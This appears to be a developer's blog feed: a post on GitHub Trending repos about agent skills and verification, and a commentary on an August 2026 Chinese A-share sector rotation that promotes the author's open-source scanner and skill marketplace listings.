The writing agent has autonomy to draft.
A gate — separate process, its own rules, external checks — has custody of publishing.
Autonomy for creation. Custody for release.

That single split is what turned a pipeline that quietly burned API credits into one I can leave running overnight and actually trust the logs of.

If you build skills and autonomous agents like these, my open-source skill set and tools live on GitHub (including a self-updating GitHub Trending aggregator site). A few polished versions — including the A-Share Stock Analysis skill and an AI-text humanizer — are published on the Xiaping skill marketplace. If you have hit a silent-failure story of your own, I would genuinely like to hear it.

This Week's GitHub Trending Quietly Became a Skill Marketplace (Live Snapshot, Sep 3)

Felixwang007 — Thu, 03 Sep 2026 04:01:02 +0000

Every six hours, my little open-source bot snapshots GitHub Trending into a clean digest so I can watch where the developer world is going without doom-scrolling. I've been doing this for months, and this week's snapshot is one of the clearest signals I've seen: the trending page has stopped being about models and started being about how agents are organized, equipped, and verified.

Here is the live data — repos created in the last 7 days, sorted by stars:

Repo	Stars	What it is
`XiaoDuoYa/codex-with-chatgpt`	~2.3k	ChatGPT as the planning brain, Codex as the hands — a two-agent harness
`Nanako0129/sepia`	~1.6k	A "De-AI" writing skill for Agent Skills-compatible agents, 77+ rules
`cbrock84/headcount`	~1.1k	Claude Code structured as a company: 15+ departments, 125+ skills
`MetaMask-AI/metamask-desktop`	~1.2k	The MetaMask desktop app (Ethereum browsing)
`anthropics/commerce-agents`	~570	Anthropic's official blueprint for shopping/merchant agents
`2akouwu/reverify`	~600	"Verified reverse engineering": AI grounded in deterministic tools
`Player-YN/PawWork_ZhuaZhua`	~560	A selection-first web agent for Chrome
`subsy/skill-cabinet`	~370	Tooling for managing skills themselves

Five of the top eight are agent-related. Last month, the same slot would have been filled by model repos. That is a genuine category shift, and it clusters into three patterns worth stealing:

1. SKILL.md is becoming a distribution format

sepia, headcount, and skill-cabinet all treat a skill — a folder with a SKILL.md plus scripts and references — as the atomic unit of software. Not a package, not a container: a skill. Why it matters: skills are loaded on demand into an agent's context, so distribution cost drops toward zero compared to libraries that must be installed and imported. The ecosystem that already emerged around Agent Skills (CLI installers, marketplaces, registries) looks a lot like npm in 2011.

2. Agent brains are splitting — planner vs. executor

codex-with-chatgpt (ChatGPT thinks, Codex works) and anthropics/commerce-agents both encode the same architectural bet: don't make one agent do everything. Give one model the reasoning/planning role and another the execution harness. This matches what I've learned running automated publishing pipelines for months — a cron agent that both decides and executes fails silently; separating the planner from the executor and giving the executor external checks is what actually catches garbage before it ships.

3. Verification is the new moat

reverify (AI reverse engineering checked against deterministic tools) is the sharpest example: when an agent produces output, the winning pattern is not better prompts but an external verifier the agent can't argue with. In my own stock-analysis and content pipelines, every time I replaced "trust the agent's success report" with an independent check (e.g. live market data, or a hard gate on output quality), reliability jumped. The models change; the need for falsifiable checks does not.

What to actually do this week

If you use Claude Code / Codex / Cursor: try packaging one of your repetitive workflows as a skill. A skill you can install on any agent beats a script you have to re-explain.
If you build agents: budget 30% of your effort for a verifier layer, not for prompt polish. That is the difference between a demo and a tool.
If you watch trends: don't trust your memory — snapshot the data. My aggregator (zero-cost, zero-API, updates every 6h) is free to use: https://felixwang007.github.io/awesome-content-tools/ (repo: Felixwang007/awesome-content-tools).

One more plug that fits the theme: the skill economy is not just an English-language thing. I publish Chinese-language skills for AI agents too — including an A-Share stock analysis expert (three-pillar system: technical + fundamental + sentiment, 24 indicators) on the xiaping.coze.com skill marketplace, with the free open-source version in the same GitHub. If you trade Chinese markets or just want to see a real-world skill in action, both are linked from the repo above. The skills are the product now — the repos are just the packaging.

A-Shares Just Rotated: BYD -4% While Moutai Held Flat — What the Divergence Tells You (Aug 31 Live Data)

Felixwang007 — Mon, 31 Aug 2026 04:05:29 +0000

It's Monday lunchtime in Shanghai, and the morning session just delivered the kind of tape that separates people who watch the index from people who read the market.

Here's what actually happened in the first half of today's session (2026-08-31, live quotes):

Index / Stock	Price	Change
Shanghai Composite	3,944.46	-0.20%
Shenzhen Component	13,812.99	-1.00%
ChiNext	3,380.15	-1.29%
BYD	¥88.47	-4.17%
CATL	¥358.17	-2.80%
LONGi Green Energy	¥11.96	-3.78%
Seres	¥49.30	-2.55%
Kweichow Moutai	¥1,296.08	-0.10%
Wuliangye	¥71.20	-0.43%

The index printed "a mild dip." But underneath, a violent rotation was happening: new-energy (EVs + solar) got sold hard, while defensive white-liquor barely blinked. That gap — BYD down 4% while Moutai is flat — is the signal. The index is just the noise.

Why the headline number lies to you

The Shanghai Composite is dominated by financials and old-economy heavyweights. When money rotates out of growth and into defensives, the index can look "stable" while a growth-heavy portfolio gets shredded. Read the index for mood; read the divergence for direction.

Today's tape is a textbook risk-off rotation: risk appetite is shrinking at the margin, and capital is hiding in the names that pay dividends and survive recessions.

The three-pillar way to read this

My A-share scanner doesn't try to predict the market. It triangulates three independent signals and waits for them to agree:

Technical — price/volume structure (MACD, KDJ, RSI, Bollinger, volume-price). Says what is happening.
Fundamental — ROE decomposition, PEG, valuation percentile. Says why it might be justified.
Intelligence — 龙虎榜 (dragon-tiger list of top buy/sell seats), block-trade and capital-flow data, sector rotation, policy catalysts. Says who is doing it and where the money is going.

On days like today, pillar #3 earns its keep. The dragon-tiger list and block-trade data will tell you this afternoon whether the EV selling was institutional rotation or a few hot-money desks panic-exiting. Those two scenarios have completely different follow-throughs.

Three rules you can use right now (no paid data required)

Rule 1 — When the index and the sectors disagree, trust the sectors. Compute the gap between ChiNext and the Shanghai Composite. Today it's ~1.1 percentage points of underperformance. If that spread widens three sessions in a row, it's a rotation, not a blip.

Rule 2 — Don't buy the dip in the sector being sold until volume confirms a floor. A falling knife with rising volume is still a falling knife. Wait for a session of shrinking volume with a higher low — that's the first footprint of distribution ending.

Rule 3 — In risk-off rotations, the rotation target is usually the previous laggard. Money doesn't leave the market; it moves. Today's defensiveness (liquor, banks, dividends) is the same money that was chasing EVs in July. Watch where volume accumulates over the next 3 sessions — that's the next leg.

How the scanner automates this

The scanner pulls free quote data (Tencent/Sina endpoints — no API key, no cost), computes 24 indicators per stock, scores each of the three pillars 0-10, and only flags a stock when all three agree. The Aug 31 morning scan automatically flagged the rotation by scoring new-energy names down on technicals while defensive names held their pillar scores.

The full pipeline (Python, zero paid dependencies) is documented in my awesome-content-tools repo — a collection of self-updating tools including the A-share scanner, a GitHub Trending aggregator, and the market-data scripts used for this article. If you're on the Chinese skill marketplace 虾评 (xiaping.coze.com), you can also find my published data-analysis and stock tooling skills there.

No paid API, no black box, no crystal ball — just three independent signals forced to agree before you act. That's the whole edge.